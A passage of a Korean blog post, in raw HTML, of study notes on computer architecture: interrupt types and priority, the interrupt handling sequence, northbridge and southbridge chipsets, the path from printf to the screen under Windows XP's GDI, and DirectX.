&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 입출력 장치가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;데이터 전송을 요구&lt;/b&gt;하거나&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;전송이 끝나 다음 동작이 수행&lt;/b&gt;되어야 할 경우&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 입출력 데이터에 이상이 있는 경우&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;CPU가 메모리 매니저(입출력 관리자)를 통해 RAM을 간접적으로 통제할 때 발생&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(과거에는 CPU가 RAM을 직접 통제하였지만, 현재는 메모리 매니저를 통해 간접 통제한다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;689&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/w5hpM/btsIVIVRTt4/uG2qMmlOpJ8FvVF03zndyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/w5hpM/btsIVIVRTt4/uG2qMmlOpJ8FvVF03zndyK/img.png&quot; data-alt=&quot;그림1 - CPU의 RAM 통제 방식&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/w5hpM/btsIVIVRTt4/uG2qMmlOpJ8FvVF03zndyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fw5hpM%2FbtsIVIVRTt4%2FuG2qMmlOpJ8FvVF03zndyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;689&quot; height=&quot;313&quot; data-origin-width=&quot;689&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - CPU의 RAM 통제 방식&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;내부 인터럽트&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;잘못된 명령이나 잘못된 데이터를 사용할때 발생하여 Trap이라 부른다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;프로그램 검사 인터럽트(Program check interrupt)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- Division by zero &amp;rarr; 0으로 나누기&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- Overflow / Underflow&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 기타 Exception&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;소프트웨어적인 내용이나 분류상 인터럽트가 아니다!&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;소프트웨어 인터럽트(SVC: SuperVisor Call)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;사용자가 프로그램을 실행시키거나 감시프로그램(Supervisor)을 호출하는 동작을 수행하는 경우&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;소프트웨어 이용중 다른 프로세스를 실행시키면 시분할 처리를 위해 자원 할당 등의 동작이 수행된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;인터럽트 동작 순서&lt;/b&gt;&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;인터럽트 요청&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;프로그램 실행 중단: 현재 실행중이던 Micro operation 까지 수행한다. &amp;rarr; CPU 연산 중단(일시 정지)&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;현재의 프로그램 상태 보전: PCB(Process Control Block), PC(Program Counter) 등 &amp;rarr; 현재 상태 백업&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;인터럽트 처리루틴 실행: 인터럽트를 요청한 장치를 식별한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;&lt;b&gt;인터럽트 서비스 루틴(ISR)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;실행: 인터럽트 원인을 파악하고 실질적인 작업을 수행한다. 처리기 레지스터 상태를 보존한다. 서비스 루틴 수행 중 우선순위가 더 높은 인터럽트가 발생하면 또 재귀적으로 1~5를 수행한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;상태복구: 인터럽트 발생 시 저장해둔 PC(Program Counter)를 다시 복구한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;중단된 프로그램 실행 재개: PC의 값을 이용하여 이전에 수행중이던 프로그램을 재개한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;인터럽트 우선순위&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;여러 장치에서 인터럽트가 동시에 발생하거나 인터럽트 서비스 루틴 수행 중 인터럽트가 발생했을 경우 우선순위를 따져서 처리한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;전원 이상(Power fall) &amp;gt; 기계 착오(Machine Check) &amp;gt; 외부 신호(External) &amp;gt; 입출력(I/O) &amp;gt; 명령어 잘못 &amp;gt; 프로그램 검사(Program Check) &amp;gt; SVC(SuperVisor call)&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;일반적으로 하드웨어 인터럽트가 소프트웨어 인터럽트보다 우선순위가 높고 내부 인터럽트 보다 외부 인터럽트가 우선 순위가 높다. &amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;하드웨어 &amp;gt; 소프트웨어&lt;/b&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;외부 &amp;gt; 내부&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;인터럽트가 발생하면?&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;하던 일을 멈춘다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;메인보드와 컴퓨터 성능의 상관관계&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;689&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxKDqG/btsIV4j861S/8PXWTrlf7k9n7FlOqU7Cy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxKDqG/btsIV4j861S/8PXWTrlf7k9n7FlOqU7Cy0/img.png&quot; data-alt=&quot;그림2 - 메인보드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxKDqG/btsIV4j861S/8PXWTrlf7k9n7FlOqU7Cy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxKDqG%2FbtsIV4j861S%2F8PXWTrlf7k9n7FlOqU7Cy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;689&quot; height=&quot;313&quot; data-origin-width=&quot;689&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - 메인보드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;컴퓨터 사용을 위해 CPU, RAM 및 기타 부품들은 메모리 매니저가 포함된 Mainboard(메인보드)에 조립한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;CPU와 RAM의 성능이 우수해도 메인보드 성능이 떨어지면, 메모리 매니저 성능도 떨어지기 때문에 CPU와 RAM의 성능이 100% 발휘되지 못한다. &amp;rarr; CPU와 RAM의 100% 성능을 위해서는 메모리 매니저 칩의 성능이 중요하다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;메모리 매니저는 과거에 브릿지 칩셋으로 불렸다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;좋은 메인보드는 브릿지 칩셋의 성능이 좋다. &amp;rarr; 고성능 CPU 사용 시 100% 성능 출력&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;메인보드에 CPU 성능의 의존성이 생기게 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;노스브릿지와 사우스 브릿지&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;400&quot; data-origin-height=&quot;474&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rpSh5/btsIUDgELj5/KIVJmCgaLVjANqRolh1uvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rpSh5/btsIUDgELj5/KIVJmCgaLVjANqRolh1uvk/img.png&quot; data-alt=&quot;그림3 - 노스브릿지와 사우스브릿지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rpSh5/btsIUDgELj5/KIVJmCgaLVjANqRolh1uvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrpSh5%2FbtsIUDgELj5%2FKIVJmCgaLVjANqRolh1uvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;474&quot; data-origin-width=&quot;400&quot; data-origin-height=&quot;474&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - 노스브릿지와 사우스브릿지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;브릿지 칩셋의 역할 &amp;rarr; I/O 매니지먼트&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;노스브릿지 &amp;rarr; RAM 및 PCI Express의 I/O를 통제&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;사우스브릿지 &amp;rarr; USB 등 주변기기 I/O 통제 (상대적으로 느린 애들)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;추후 인텔에서 RAM까지 통제하는 기능의 CPU를 제작하게 된다. &amp;rarr; 노스브릿지의 일부 기능을 CPU가 가져감&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Hello World 출력(1)&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;893&quot; data-origin-height=&quot;532&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ddUfGA/btsITFsGvTk/9B1bni98hFNA2ZTeTklJk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ddUfGA/btsITFsGvTk/9B1bni98hFNA2ZTeTklJk1/img.png&quot; data-alt=&quot;그림4 - Hello World 출력 과정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ddUfGA/btsITFsGvTk/9B1bni98hFNA2ZTeTklJk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FddUfGA%2FbtsITFsGvTk%2F9B1bni98hFNA2ZTeTklJk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;893&quot; height=&quot;532&quot; data-origin-width=&quot;893&quot; data-origin-height=&quot;532&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림4 - Hello World 출력 과정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Hello World 출력을 위해 API를 호출한다. &amp;rarr; printf( ) 함수 사용&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;OS수준의 화면처리 관련 Video 영역에 해당되는 구성요소 &amp;rarr; System Call 수준에서 write( ) 한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;RAM에 Hello World 가 들어간다. &amp;rarr; 인터럽트 발생&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;그래픽 카드에서 RAM에 들어있는 정보를 가져온다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;모니터에 Hello World 출력&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;그래픽 카드에서 RAM에게 종료 신호를 보낸다. &amp;rarr; 인터럽트 발생&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Hello World 출력(2)&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;893&quot; data-origin-height=&quot;532&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXd7yo/btsITtFYusq/kxQabBYrTyfU6qX6IAoVx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXd7yo/btsITtFYusq/kxQabBYrTyfU6qX6IAoVx0/img.png&quot; data-alt=&quot;그림5 - 고성능 장치의 Hello World 출력 과정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXd7yo/btsITtFYusq/kxQabBYrTyfU6qX6IAoVx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXd7yo%2FbtsITtFYusq%2FkxQabBYrTyfU6qX6IAoVx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;893&quot; height=&quot;532&quot; data-origin-width=&quot;893&quot; data-origin-height=&quot;532&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림5 - 고성능 장치의 Hello World 출력 과정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Hello World 출력을 위해 API를 호출한다. &amp;rarr; printf( ) 함수 사용&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;System Call 수준에서 write( ) 한다. &amp;rarr; Driver에게 정보 이동 및 모니터 출력 부탁함&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Driver에서 바로 반환한다, 반환하는 동안에 모니터에 Hello World 출력함&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;성능이 좋은 주변기기 사용 시 CPU 혼자 모든 일을 처리하지 않게되며, 컴퓨터 성능이 좋아지게 된다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Windows XP 모니터 출력 과정&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;539&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bktfAt/btsIUMdotCR/mSSkLrsK5U7qk8kfVMzze1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bktfAt/btsIUMdotCR/mSSkLrsK5U7qk8kfVMzze1/img.png&quot; data-alt=&quot;그림6 - Windows XP 모니터 출력 과정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bktfAt/btsIUMdotCR/mSSkLrsK5U7qk8kfVMzze1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbktfAt%2FbtsIUMdotCR%2FmSSkLrsK5U7qk8kfVMzze1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;881&quot; height=&quot;539&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;539&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림6 - Windows XP 모니터 출력 과정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Widows XP에서 약 6단계를 거쳐 모니터로 출력한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;API Call&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;GDI 엔진 System Call&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Driver 제어&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;데이터가 장치(Device)로 이동&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;반환&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;종료&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 운영체제가 추상화된 API를 제공하고, 프로그램들은 API에 맞추면 화면출력을 직접 할 필요가 없어 장치제어를 하지 않아도 되는 장점이 존재한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단점&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 단계가 복잡하다. (인터럽트 다수 발생) &amp;rarr; 성능 저하&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;고성능을 필요하는 프로그램(게임) 실행을 위한 DirectX 등장&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;539&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boYQhh/btsIUgF7KpT/lD9eTGHwkn1pVEIm4MO10K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boYQhh/btsIUgF7KpT/lD9eTGHwkn1pVEIm4MO10K/img.png&quot; data-alt=&quot;그림7 - 게임 실행을 위한 DirectX 구동 과정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boYQhh/btsIUgF7KpT/lD9eTGHwkn1pVEIm4MO10K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboYQhh%2FbtsIUgF7KpT%2FlD9eTGHwkn1pVEIm4MO10K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;881&quot; height=&quot;539&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;539&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림7 - 게임 실행을 위한 DirectX 구동 과정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;고성능을 필요로 하는 프로그램(게임) 실행에는 다음과 같이 많은 리소스가 소요된다.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span data-alt=&quot;그림7 - 게임 실행을 위한 DirectX 구동 과정&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dyL8TK/btsIVl7CNMQ/GEbFzVZrrhyaewhBtSJtz0/img.png&quot; data-url=&quot;https://blog.kakaocdn.net/dn/dyL8TK/btsIVl7CNMQ/GEbFzVZrrhyaewhBtSJtz0/img.png&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;모니터 화면 정보 출력 &amp;uarr;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;그래픽 연산 &amp;uarr;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;데이터 양 &amp;uarr;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DirectX 란?&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;DirectX는 멀티미디어, 특히 게임 프로그래밍에서 마이크로소프트 플랫폼에서 작업을 위한 API의 집합이다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;게임 실행 시 GDI 엔진을 거치지 않고 DirectX를 통해 Driver와 바로 통신한다.&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Kernel을 직접 건널 수 있도록 API가 마치 System Call을 유저 인터페이스에서 직접 호출할 수 있게 해준다.&amp;nbsp;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;그래픽 엔진 부분의 I/O 성능을 극단적으로 끌어올릴수 있는 인터페이스이다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;인터럽트가 감소하여 대기시간이 줄어들어 성능이 좋아진다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
